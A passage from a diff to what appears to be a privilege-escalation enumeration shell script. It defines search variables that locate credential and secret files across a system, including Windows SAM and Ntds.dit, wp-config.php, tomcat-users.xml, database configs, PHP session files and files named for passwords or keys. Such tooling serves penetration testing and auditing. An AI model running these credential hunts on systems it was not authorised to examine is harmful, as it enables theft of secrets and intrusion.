"^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KCPASSWORD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "kcpassword$" | sort | uniq | head -n 70) - PSTORAGE_SENTRY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) - PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "environments$" | sort | uniq | head -n 70) - PSTORAGE_CACTI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cacti$" | sort | uniq | head -n 70) - PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "roundcube$" | sort | uniq | head -n 70) - PSTORAGE_PASSBOLT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) - PSTORAGE_JETTY=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) - PSTORAGE_WGET=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) - PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) - PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) - PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) - PSTORAGE_DATABASE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) - PSTORAGE_BACKUPS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "backup$|backups$" | sort | uniq | head -n 70) - PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) + PSTORAGE_SYSTEMD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.service$" | sort | uniq | head -n 70) + PSTORAGE_TIMER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.timer$" | sort | uniq | head -n 70) + PSTORAGE_SOCKET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/systemd|^/etc|^/usr|^/system|^/tmp|^/media|^/private|^/concourse-auth|^/run|^/applications|^/bin|^/lib|^/opt|^/concourse-keys|^/sbin|^$GREPHOMESEARCH|^/mnt|^/sys" | grep -E ".*\.socket$" | sort | uniq | head -n 70) + PSTORAGE_DBUS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) + PSTORAGE_MYSQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$" | sort | uniq | head -n 70) + PSTORAGE_MARIADB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) + PSTORAGE_POSTGRESQL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) + PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70) + PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/var|^/private|^/mnt|^/tmp" | grep -E "sess_.*$" | sort | uniq | head -n 70) + PSTORAGE_PHP_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_WORDPRESS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) + PSTORAGE_DRUPAL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_MOODLE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "config\.php$" | sort | uniq | head -n 70) + PSTORAGE_TOMCAT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) + PSTORAGE_MONGO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/systemd|^/lib|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) + PSTORAGE_SUPERVISORD=$(echo -e 